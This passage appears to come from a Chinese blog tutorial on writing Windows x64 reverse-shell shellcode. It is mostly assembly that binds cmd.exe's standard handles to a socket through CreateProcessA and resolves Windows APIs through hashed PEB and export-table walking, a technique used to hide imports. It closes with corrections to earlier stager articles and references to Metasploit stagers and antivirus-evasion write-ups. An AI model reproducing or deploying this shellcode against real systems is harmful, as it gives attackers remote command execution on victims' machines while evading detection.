xor rax,rax ; 清零
mov rcx, 68h ; 循环次数 = 68h
rep stosb ; rep重复执行stosb,直到ecx 减到 0。
; 9.设置关键字段
mov dword ptr [rsp],68h ; si.cb = sizeof(STARTUPINFOA)
mov dword ptr [rsp + 60], 101h ; si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW
mov qword ptr [rsp + 80], r15 ; si.hStdInput = socket
mov qword ptr [rsp + 88], r15 ; si.hStdOutput = socket
mov qword ptr [rsp + 96], r15 ; si.hStdError = socket
; 10. 调用CreateProcessA
xor rbx,rbx ; 清零,后续会用到
xor rcx,rcx ; lpApplicationName
mov rdx,'exe.dmc'
push rdx
mov rdx,rsp ; "cmd.exe"字符串指针
xor r8,r8 ; lpProcessAttributes
xor r9,r9 ; lpThreadAttributes
; 为 PROCESS_INFORMATION 分配空间
sub rsp, 32 ; 分配32字节(PROCESS_INFORMATION=24 + 对齐8)
push rsp ; lpProcessInformation
push r12 ; lpStartupInfo,
push rbx ; lpCurrentDirectory
push rbx ; lpEnvironment
push rbx ; dwCreationFlags
inc rbx
push rbx ; bInheritHandles
mov r10,5DDB71FAh ; Kernel32.dll+CreateProcessA hash
call GetProcAddressByHash
; 11. 结束
failure:
mov r10,2E3E5B71h ; kernel32.dll+ExitProcess 哈希值
call GetProcAddressByHash
GetProcAddressByHash:
; 1. 保存前4个参数到栈上,并保存rsi和r12的值
push r9
push r8
push rdx
push rcx
push rsi
push r12
; 2. 获取 InMemoryOrderModuleList 模块链表的第一个模块结点
xor rdx,rdx ; 清零
mov rdx,gs:[rdx+60h] ; 通过GS段寄存器获取PEB地址(TEB偏移0x60处)
mov rdx,[rdx+18h] ; PEB->Ldr
mov rdx,[rdx+20h] ; 第一个模块节点,也是链表InMemoryOrderModuleList的首地址
;3.模块遍历
next_mod:
mov rsi,[rdx+50h] ; 模块名称
movzx rcx,word ptr [rdx+48h] ; 模块名称长度
xor r8,r8 ; 存储接下来要计算的hash
; 4.计算模块hash
loop_modname:
xor rax, rax ; 清零EAX,准备处理字符
lodsb ; 从rSI加载一个字节到AL(自动递增rSI)
cmp al,'a' ; 比较当前字符的ASCII值是否小于小写字母'a'(0x61)
jl not_lowercase ; 如果字符 < 'a',说明不是小写字母,跳转不处理
sub al, 20h ; 若字符在'a'-'z'范围内,通过减0x20转换为大写字母('A'-'Z')
not_lowercase:
ror r8d,0dh ; 对R8的低32位进行循环右移13位,不影响高32位
add r8d,eax ; 将当前字符的ASCII值(已大写化)累加到哈希值
dec ecx ; 字符计数器ECX减1
jnz loop_modname ; 继续循环处理下一个字符,直到ECX减至0
push rdx ; 将当前模块链表节点地址压栈
push r8 ; 将计算完成的哈希值压栈存储hash值
; 5.获取导出表
mov rdx, [rdx+20h] ; 获取模块基址
mov eax, dword ptr [rdx+3ch] ; 读取PE头的RVA
add rax, rdx ; PE头VA
cmp word ptr [rax+18h],20Bh ; 检查是否为PE64文件
jne get_next_mod1 ; 不是就下一个模块
mov eax, dword ptr [rax+88h] ; 获取导出表的RVA
test rax, rax ; 检查该模块是否有导出函数
jz get_next_mod1 ; 没有就下一个模块
add rax, rdx ; 获取导出表的VA
push rax ; 存储导出表的地址
mov ecx, dword ptr [rax+18h] ; 按名称导出的函数数量
mov r9d, dword ptr [rax+20h] ; 函数名称字符串地址数组的RVA
add r9, rdx ; 函数名称字符串地址数组的VA
; 6.获取函数名
get_next_func:
test rcx, rcx ; 检查按名称导出的函数数量是否为0
jz get_next_mod ; 若所有函数已处理完,跳转至下一个模块遍历
dec rcx ; 函数计数器递减(从后向前遍历函数名数组)
mov esi, dword ptr [r9+rcx*4] ; 从末尾往前遍历,一个函数名RVA占4字节
add rsi, rdx ; 函数名RVA
xor r8, r8 ; 存储接下来的函数名哈希
; 7.计算模块 hash + 函数 hash之和
loop_funcname:
xor rax, rax ; 清零EAX,准备处理字符
lodsb ; 从rsi加载一个字节到al,rsi自增1
ror r8d,0dh ; 对当前哈希值(r8d)循环右移13位
add r8d,eax ; 将当前字符的ASCII值(al)累加到哈希值(r8d)
cmp al, ah ; 检查当前字符是否为0(字符串结束符)
jne loop_funcname ; 若字符非0,继续循环处理下一个字符
add r8,[rsp+8] ; 将之前压栈的模块哈希值(位于栈顶+8)加到当前函数哈希
cmp r8d,r10d ; r10存储目标hash
jnz get_next_func
; 8.获取目标函数指针
pop rax ; 获取之前存放的当前模块的导出表地址
mov r9d, dword ptr [rax+24h] ; 获取序号表(AddressOfNameOrdinals)的 RVA
add r9, rdx ; 序号表起始地址
mov cx, [r9+2*rcx] ; 从序号表中获取目标函数的导出索引
mov r9d, dword ptr [rax+1ch] ; 获取函数地址表(AddressOfFunctions)的 RVA
add r9, rdx ; AddressOfFunctions数组的首地址
mov eax, dword ptr [r9+4*rcx] ; 获取目标函数指针的RVA
add rax, rdx ; 获取目标函数指针的地址
finish:
pop r8 ; 清除当前模块hash
pop r8 ; 清除当前链表的位置
pop r12
pop rsi ; 恢复RSI
pop rcx ; 恢复第一个参数
pop rdx ; 恢复第二个参数
pop r8 ; 恢复第三个参数
pop r9 ; 恢复第四个参数
pop r10 ; 将返回地址地址存储到r10中
sub rsp, 20h ; 给前4个参数预留 4*8=32(20h)的影子空间
push r10 ; 返回地址
jmp rax ; 调用目标函数
get_next_mod:
pop rax ; 弹出栈中保存的导出表地址
get_next_mod1:
pop r8 ; 弹出之前压栈的计算出来的模块哈希值
pop rdx ; 弹出之前存储在当前模块在链表中的位置
mov rdx, [rdx] ; 获取链表的下一个模块节点(FLINK)
jmp next_mod ; 跳转回模块遍历循环
main endp
end
5.4 往期文章纠错
(1)是先对齐填充,后设置参数!!!!!
在 Windows Shellcode开发(x64 stager)
文章中,我写的注释是先填参数后对齐填充,虽然我按照 Stephen Fewer
的注释写的,但这是错误的。

我们验证一下,在 10. 调用CreateProcessA
的 call GetProcAddressByHash
下一个断点

因为执行完 GetProcAddressByHash
函数后,栈空间如下图所示,很明显影子空间后面就是需要通过栈来传递的参数,比如 01 00 00 00 00 00 00 00
就是 bInheritHandles
参数

修改成下面所示的代码

再次调式看看,因为执行完 push rbx
后执行 push 0
,所以windows API会将0作为bInheritHandles
的值

执行后,程序异常

(2)参数注释错误
如说在 Windows Shellcode开发(x86 stager)
文章中出现了不少注释错误,主要原因还是因为我让AI帮我写注释,然后我也没仔细检查。
正确的应该为
; 2. 调用WinHttpOpen创建会话句柄
push ebx ; dwFlags=0
push ebx ; pszProxyBypassW
push ebx ; pszProxyW
push 1 ; dwAccessType
push ebx ; pszAgentW
push 332D226Eh ; WinHttpOpen的哈希值
call GetProcAddressByHash ; 调用WinHttpOpen,返回句柄在EAX中
六、下一步计划
下一篇文章的内容是有些颠覆性的,夸张的说法o.O,但光是想想就兴奋起来了٩(๑˃̵ᴗ˂̵๑)۶。文章已经完成可行性分析和技术验证,大概率会发表,所以srdi的文章要往后推了。如果粉丝数超过15,我会在这个月内发表出来,所以各位师傅的点赞、收藏和关注真的对我很重要呜呜呜呜呜呜>.<

参考资料
[1]: 【安装教程】kali 虚拟机下载vscode以及无法启动问题_kali安装vscode-CSDN博客 [2]: Download Visual Studio Code - Mac, Linux, Windows [3]:https://course.ccs.neu.edu/cs3650sp23/l/02/x86-64-sysv-abi.pdf [4]: metasploit-framework/external/source/shellcode/linux/x64/stager_sock_reverse.s at master · rapid7/metasploit-framework [5]: linux/include/linux/syscalls.h at master · torvalds/linux [6]: linux/arch/x86/entry/syscalls at master · torvalds/linux [7]: Creating a shellcode: Reverse tcp shell | by INMUNE7 | Medium [8]: 免杀那点事之随手C写一个持久反弹shell(六) [9]: STARTUPINFOA (processthreadsapi.h) - Win32 apps | Microsoft Learn [10]: CreateProcessA 函数 (processthreadsapi.h) - Win32 apps | Microsoft Learn [11]: Windows Shellcode开发(x64 stager)-先知社区 [12]: Windows Shellcode开发(x86 stager)-先知社区
Last updated